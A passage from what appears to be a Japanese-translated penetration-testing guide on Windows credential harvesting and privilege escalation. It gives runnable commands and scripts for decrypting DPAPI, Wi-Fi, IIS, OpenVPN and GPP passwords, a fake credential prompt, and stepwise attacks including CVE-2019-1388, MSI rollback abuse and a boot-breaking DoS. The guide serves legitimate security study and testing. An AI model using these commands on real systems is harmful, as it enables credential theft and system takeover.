mimikatzモジュール dpapi::masterkeyを適切な引数(/pvkまたは/rpc)と共に使用して、それを復号化できます。

マスターパスワードによって保護された資格情報ファイルは通常、次の場所にあります:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

あなたは、適切な /masterkey を使用して mimikatz module dpapi::cred を使って復号化することができます。
あなたは、sekurlsa::dpapi モジュールを使用して メモリ から多くの DPAPI masterkeys抽出 することができます(あなたが root の場合)。

{{#ref}} dpapi-extracting-passwords.md {{#endref}}

PowerShell 認証情報

PowerShell 認証情報 は、暗号化された認証情報を便利に保存する方法として、スクリプト および自動化タスクでよく使用されます。認証情報は DPAPI を使用して保護されており、通常、作成された同じコンピュータ上の同じユーザーによってのみ復号化できます。

ファイルから PS 認証情報を 復号化 するには、次のようにします:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

保存されたRDP接続

それらは HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
および HKCU\Software\Microsoft\Terminal Server Client\Servers\ にあります。

最近実行されたコマンド

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

リモートデスクトップ資格情報マネージャー

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Mimikatz dpapi::rdg モジュールを適切な /masterkey と共に使用して 任意の .rdg ファイルを復号化します。
メモリから多くの DPAPI マスタキーを Mimikatz sekurlsa::dpapi モジュールで 抽出できます。

Sticky Notes

人々はしばしば Windows ワークステーションの StickyNotes アプリを使用して パスワードやその他の情報を保存しますが、それがデータベースファイルであることに気づいていません。このファイルは C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite にあり、常に検索して調査する価値があります。

AppCmd.exe

AppCmd.exe からパスワードを回復するには、管理者であり、高い整合性レベルで実行する必要があります。
AppCmd.exe%systemroot%\system32\inetsrv\ ディレクトリにあります。
このファイルが存在する場合、いくつかの 資格情報 が構成されており、回復できる可能性があります。

このコードは PowerUP から抽出されました:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

C:\Windows\CCM\SCClient.exe が存在するか確認します。
インストーラーは SYSTEM 権限で実行され、多くは DLL サイドローディングに脆弱です(情報は https://github.com/enjoiz/Privesc)。

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

ファイルとレジストリ (資格情報)

Puttyの資格情報

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH ホストキー

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSHキーのレジストリ内

SSHプライベートキーはレジストリキー HKCU\Software\OpenSSH\Agent\Keys に保存されることがあるため、そこに興味深いものがないか確認する必要があります:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

そのパス内にエントリが見つかった場合、それは保存されたSSHキーである可能性が高いです。これは暗号化されて保存されていますが、https://github.com/ropnop/windows_sshagent_extractを使用して簡単に復号化できます。
この技術に関する詳細情報はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

ssh-agentサービスが実行されていない場合、自動的に起動するようにするには、次のコマンドを実行します:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

この技術はもはや有効ではないようです。いくつかのsshキーを作成し、ssh-addで追加し、sshを介してマシンにログインしようとしました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmonは非対称キー認証中にdpapi.dllの使用を特定しませんでした。

Unattended files

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

これらのファイルはmetasploitを使用して検索することもできます: post/windows/gather/enum_unattend

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM バックアップ

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

クラウド認証情報

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

SiteList.xmlというファイルを探します。

Cached GPP Pasword

以前は、グループポリシープリファレンスGPPを介して一群のマシンにカスタムローカル管理者アカウントを展開する機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクトGPOは、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させる可能性があるため、深刻なリスクをもたらしました。

このリスクを軽減するために、「cpassword」フィールドが空でないローカルキャッシュされたGPPファイルをスキャンする機能が開発されました。このようなファイルが見つかると、関数はパスワードを復号化し、カスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPに関する詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修正に役立ちます。

C:\ProgramData\Microsoft\Group Policy\history または C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\historyW Vista以前 でこれらのファイルを探します:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

cPasswordを復号化するには

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexecを使用してパスワードを取得する:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

web.configの資格情報の例:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPNの資格情報

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

ログ

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Ask for credentials

You can always ask the user to enter his credentials of even the credentials of a different user if you think he can know them (notice that asking the client directly for the credentials is really risky):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

資格情報を含む可能性のあるファイル名

以前に平文またはBase64パスワードを含んでいた既知のファイル

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

提案されたすべてのファイルを検索します:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

RecycleBin内の資格情報

資格情報を探すために、Binも確認する必要があります。

複数のプログラムによって保存されたパスワードを回復するには、次のツールを使用できます: http://www.nirsoft.net/password_recovery_tools.html

レジストリ内

資格情報を含む他の可能性のあるレジストリキー

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

レジストリからopensshキーを抽出します。

ブラウザの履歴

ChromeやFirefoxからパスワードが保存されているdbを確認する必要があります。
また、ブラウザの履歴、ブックマーク、お気に入りも確認してください。そこにパスワードが保存されているかもしれません。

ブラウザからパスワードを抽出するためのツール:

COM DLLの上書き

コンポーネントオブジェクトモデル (COM) は、異なる言語のソフトウェアコンポーネント間の相互通信を可能にするWindowsオペレーティングシステム内に構築された技術です。各COMコンポーネントは**クラスID (CLSID)**によって識別され、各コンポーネントはインターフェースID (IIDs)によって識別される1つ以上のインターフェースを介して機能を公開します。

COMクラスとインターフェースは、それぞれHKEY\CLASSES\ROOT\CLSIDおよびHKEY\CLASSES\ROOT\Interfaceのレジストリに定義されています。このレジストリは、HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOTをマージすることによって作成されます。

このレジストリのCLSID内には、DLLを指すデフォルト値を含む子レジストリInProcServer32があり、ThreadingModelという値があり、これはApartment(シングルスレッド)、Free(マルチスレッド)、Both(シングルまたはマルチ)、またはNeutral(スレッド中立)である可能性があります。

基本的に、実行されるDLLのいずれかを上書きすることができれば、そのDLLが異なるユーザーによって実行される場合、特権を昇格させることができます。

攻撃者がCOMハイジャックを永続性メカニズムとしてどのように使用するかを学ぶには、次を確認してください

{{#ref}} com-hijacking.md {{#endref}}

ファイルとレジストリ内の一般的なパスワード検索

ファイル内容を検索

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

特定のファイル名を持つファイルを検索する

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

レジストリでキー名とパスワードを検索する

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

パスワードを検索するツール

MSF-Credentials Plugin は、msf プラグインで、被害者の内部で資格情報を検索するすべてのmetasploit POSTモジュールを自動的に実行するために作成しました。
Winpeas は、このページに記載されているパスワードを含むすべてのファイルを自動的に検索します。
Lazagne は、システムからパスワードを抽出するためのもう一つの優れたツールです。

ツール SessionGopher は、セッションユーザー名、およびパスワードを検索します。これらは、クリアテキストでデータを保存するいくつかのツールPuTTY、WinSCP、FileZilla、SuperPuTTY、RDPによって保存されます。

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

漏洩ハンドラ

SYSTEMとして実行されているプロセスが新しいプロセスを開く (OpenProcess()) フルアクセスで。同じプロセスが低特権で新しいプロセスを作成し、メインプロセスのすべてのオープンハンドルを継承する
その後、低特権プロセスにフルアクセスがある場合OpenProcess()で作成された特権プロセスへのオープンハンドルを取得し、シェルコードを注入することができます。
この例を読んで、この脆弱性を検出し、悪用する方法についての詳細を確認してください
この別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を確認してください

名前付きパイプクライアントのなりすまし

共有メモリセグメント、すなわちパイプは、プロセス間の通信とデータ転送を可能にします。

Windowsは、無関係なプロセスがデータを共有できる名前付きパイプという機能を提供しており、異なるネットワークを越えても可能です。これは、名前付きパイプサーバー名前付きパイプクライアントとして定義された役割を持つクライアント/サーバーアーキテクチャに似ています。

クライアントによってパイプを通じてデータが送信されると、パイプを設定したサーバーは、必要なSeImpersonate権限を持っている場合、クライアントのアイデンティティを引き受けることができます。パイプを介して通信する特権プロセスを特定し、そのプロセスのアイデンティティを模倣することで、確立したパイプと相互作用する際にそのプロセスのアイデンティティを採用することによってより高い特権を得る機会が提供されます。このような攻撃を実行するための手順については、役立つガイドがこちらこちらにあります。

また、次のツールは、burpのようなツールで名前付きパイプ通信を傍受することを可能にします:https://github.com/gabriel-sztejnworcel/pipe-intercept このツールは、特権昇格を見つけるためにすべてのパイプをリストし、表示することを可能にします https://github.com/cyberark/PipeViewer

その他

Windowsで実行可能なファイル拡張子

ページを確認してください https://filesec.io/

パスワードのためのコマンドラインの監視

ユーザーとしてシェルを取得すると、コマンドラインで資格情報を渡すスケジュールされたタスクや他のプロセスが実行されることがあります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較して、違いを出力します。

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

パスワードをプロセスから盗む

低権限ユーザーからNT\AUTHORITY SYSTEMへの昇格 (CVE-2019-1388) / UACバイパス

グラフィカルインターフェースコンソールまたはRDP経由にアクセスでき、UACが有効になっている場合、Microsoft Windowsの一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。

これにより、同じ脆弱性を利用して特権を昇格させ、同時にUACをバイパスすることができます。さらに、何もインストールする必要がなく、プロセス中に使用されるバイナリはMicrosoftによって署名され、発行されています。

影響を受けるシステムの一部は以下の通りです:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

この脆弱性を悪用するには、次のステップを実行する必要があります:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

あなたは、次のGitHubリポジトリに必要なすべてのファイルと情報を持っています

https://github.com/jas502n/CVE-2019-1388

管理者の中程度から高い整合性レベルへの移行 / UACバイパス

整合性レベルについて学ぶために、これを読んでください:

{{#ref}} integrity-levels.md {{#endref}}

次に、UACとUACバイパスについて学ぶために、これを読んでください

{{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}}

任意のフォルダー削除/移動/名前変更からSYSTEM EoPへ

この技術は、このブログ投稿で説明されており、エクスプロイトコードはこちらで入手可能です。

攻撃は基本的に、Windowsインストーラーのロールバック機能を悪用して、アンインストールプロセス中に正当なファイルを悪意のあるファイルに置き換えることから成ります。これには、攻撃者がC:\Config.Msiフォルダーをハイジャックするために使用される悪意のあるMSIインストーラーを作成する必要があります。このフォルダーは、他のMSIパッケージのアンインストール中にロールバックファイルを保存するためにWindowsインストーラーによって使用され、ロールバックファイルは悪意のあるペイロードを含むように変更されます。

要約された技術は次のとおりです:

  1. ステージ1 ハイジャックの準備(C:\Config.Msiを空にする)
  • ステップ1: MSIをインストール

  • 書き込み可能なフォルダー(TARGETDIR)に無害なファイル(例:dummy.txt)をインストールする.msiを作成します。

  • インストーラーを**「UAC準拠」**としてマークし、非管理者ユーザーが実行できるようにします。

  • インストール後にファイルへのハンドルを開いたままにします。

  • ステップ2: アンインストールを開始

  • 同じ.msiをアンインストールします。

  • アンインストールプロセスがファイルをC:\Config.Msiに移動し、.rbfファイル(ロールバックバックアップ)に名前を変更し始めます。

  • 開いているファイルハンドルをポーリングして、ファイルがC:\Config.Msi\<random>.rbfになるのを検出します。

  • ステップ3: カスタム同期

  • .msiには、.rbfが書き込まれたときに信号を送る**カスタムアンインストールアクション(SyncOnRbfWritten**が含まれています。

  • その後、アンインストールを続行する前に待機します。

  • ステップ4: .rbfの削除をブロック

  • 信号を受け取ったら、FILE_SHARE_DELETEなしで**.rbfファイルを開く** — これにより削除を防ぎます

  • その後、アンインストールが完了できるように信号を返します

  • Windowsインストーラーは.rbfを削除できず、すべての内容を削除できないため、C:\Config.Msiは削除されません

  • ステップ5: .rbfを手動で削除

  • あなた(攻撃者)が.rbfファイルを手動で削除します。

  • 現在、C:\Config.Msiは空で、ハイジャックの準備が整いました。

この時点で、SYSTEMレベルの任意のフォルダー削除脆弱性をトリガーしてC:\Config.Msiを削除します。

  1. ステージ2 ロールバックスクリプトを悪意のあるものに置き換える
  • ステップ6: 弱いACLでC:\Config.Msiを再作成

  • 自分でC:\Config.Msiフォルダーを再作成します。

  • 弱いDACLEveryone:Fを設定し、WRITE_DACハンドルを開いたままにします

  • ステップ7: 別のインストールを実行

  • 再度.msiをインストールします:

  • TARGETDIR: 書き込み可能な場所。

  • ERROROUT: 強制的な失敗をトリガーする変数。

  • このインストールは、再度ロールバックをトリガーするために使用され、.rbs.rbfを読み取ります。

  • ステップ8: .rbsを監視

  • ReadDirectoryChangesWを使用してC:\Config.Msiを監視し、新しい.rbsが現れるまで待ちます。

  • そのファイル名をキャプチャします。

  • ステップ9: ロールバック前の同期

  • .msiには、.rbsが作成されたときにイベントを信号する**カスタムインストールアクション(SyncBeforeRollback**が含まれています。

  • その後、続行する前に待機します。

  • ステップ10: 弱いACLを再適用

  • .rbs作成イベントを受信した後:

  • WindowsインストーラーはC:\Config.Msi強いACLを再適用します。

  • しかし、WRITE_DACでハンドルを持っているため、再度弱いACLを再適用できます。

ACLはハンドルが開かれたときのみ強制されるため、フォルダーに書き込むことができます。

  • ステップ11: 偽の.rbs.rbfをドロップ

  • .rbsファイルを偽のロールバックスクリプトで上書きし、Windowsに次のことを指示します

  • あなたの.rbfファイル悪意のあるDLL特権のある場所(例:C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)に復元します。

  • 悪意のあるSYSTEMレベルのペイロードDLLを含む偽の.rbfをドロップします。

  • ステップ12: ロールバックをトリガー

  • 同期イベントに信号を送り、インストーラーが再開します。

  • タイプ19のカスタムアクションErrorOutが設定されており、既知のポイントでインストールを意図的に失敗させます

  • これによりロールバックが開始されます

  • ステップ13: SYSTEMがあなたのDLLをインストール

  • Windowsインストーラーは

  • あなたの悪意のある.rbsを読み取ります。

  • あなたの.rbf DLLをターゲット場所にコピーします。

  • あなたは現在、SYSTEMがロードしたパスに悪意のあるDLLを持っています

  • 最終ステップ: SYSTEMコードを実行

  • 信頼された自動昇格バイナリ(例:osk.exeを実行し、ハイジャックしたDLLをロードします。

  • ブーム:あなたのコードがSYSTEMとして実行されます

任意のファイル削除/移動/名前変更からSYSTEM EoPへ

主要なMSIロールバック技術前述のものは、フォルダー全体(例:C:\Config.Msi)を削除できることを前提としています。しかし、あなたの脆弱性が任意のファイル削除のみを許可する場合はどうでしょうか?

NTFS内部を悪用することができます:すべてのフォルダーには、次のような隠れた代替データストリームがあります:

C:\SomeFolder::$INDEX_ALLOCATION

このストリームはフォルダーのインデックスメタデータを保存します。

したがって、フォルダーの::$INDEX_ALLOCATIONストリームを削除すると、NTFSはファイルシステムからフォルダー全体を削除します

これを行うには、次のような標準のファイル削除APIを使用できます:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

あなたがファイル削除APIを呼び出しているにもかかわらず、それはフォルダ自体を削除します

フォルダの内容削除からSYSTEM EoPへ

もしあなたのプリミティブが任意のファイル/フォルダを削除することを許可していないが、攻撃者が制御するフォルダの内容の削除を許可している場合はどうでしょうか?

  1. ステップ1: 餌フォルダとファイルを設定する
  • 作成: C:\temp\folder1
  • その中に: C:\temp\folder1\file1.txt
  1. ステップ2: file1.txtoplockを置く
  • oplockは、特権プロセスがfile1.txtを削除しようとしたときに実行を一時停止します。
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. ステップ 3: SYSTEM プロセスをトリガーする (例: SilentCleanup)
  • このプロセスはフォルダー (例: %TEMP%) をスキャンし、その内容を削除しようとします。
  • file1.txt に到達すると、oplock がトリガーされ、コールバックに制御が渡されます。
  1. ステップ 4: oplock コールバック内 削除をリダイレクトする
  • オプション A: file1.txt を他の場所に移動する

  • これにより folder1 が空になりますが、oplock は壊れません。

  • file1.txt を直接削除しないでください — それは oplock を早期に解放してしまいます。

  • オプション B: folder1ジャンクション に変換する:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • オプションC: \RPC Controlシンボリックリンクを作成する:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

これはフォルダメタデータを保存するNTFS内部ストリームをターゲットにしています — それを削除するとフォルダが削除されます。

  1. ステップ5: oplockを解放する
  • SYSTEMプロセスは続行し、file1.txtを削除しようとします。
  • しかし、今やジャンクション + シンボリックリンクのため、実際には削除しているのは:
C:\Config.Msi::$INDEX_ALLOCATION

結果: C:\Config.Msi は SYSTEM によって削除されました。

任意のフォルダーを作成して永続的な DoS へ

ファイルを書き込めない または 弱い権限を設定できない 場合でも、SYSTEM/admin として任意のフォルダーを作成できる プリミティブを悪用します。

重要な Windows ドライバー の名前で フォルダー(ファイルではなく)を作成します。例えば:

C:\Windows\System32\cng.sys
  • このパスは通常、cng.sys カーネルモードドライバに対応しています。
  • もし フォルダとして事前に作成すると、Windowsはブート時に実際のドライバを読み込むことに失敗します。
  • その後、Windowsはブート中に cng.sys を読み込もうとします。
  • フォルダを見て、実際のドライバを解決できずクラッシュまたはブートが停止します
  • フォールバックはなく外部介入なしに回復はできません(例:ブート修復やディスクアクセス)。

High Integrity から System へ

新しいサービス

すでに High Integrity プロセスで実行している場合、SYSTEM へのパス新しいサービスを作成して実行するだけで簡単です:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

サービスバイナリを作成する際は、それが有効なサービスであるか、バイナリが必要なアクションを迅速に実行することを確認してください。そうでない場合、20秒後に終了します。

AlwaysInstallElevated

高い整合性のプロセスから、AlwaysInstallElevatedレジストリエントリを有効にし、_.msi_ラッパーを使用してリバースシェルをインストールしようとすることができます。
関与するレジストリキーと_.msi_パッケージのインストール方法についての詳細はこちら。

High + SeImpersonate特権をSystemに

コードは こちらにあります

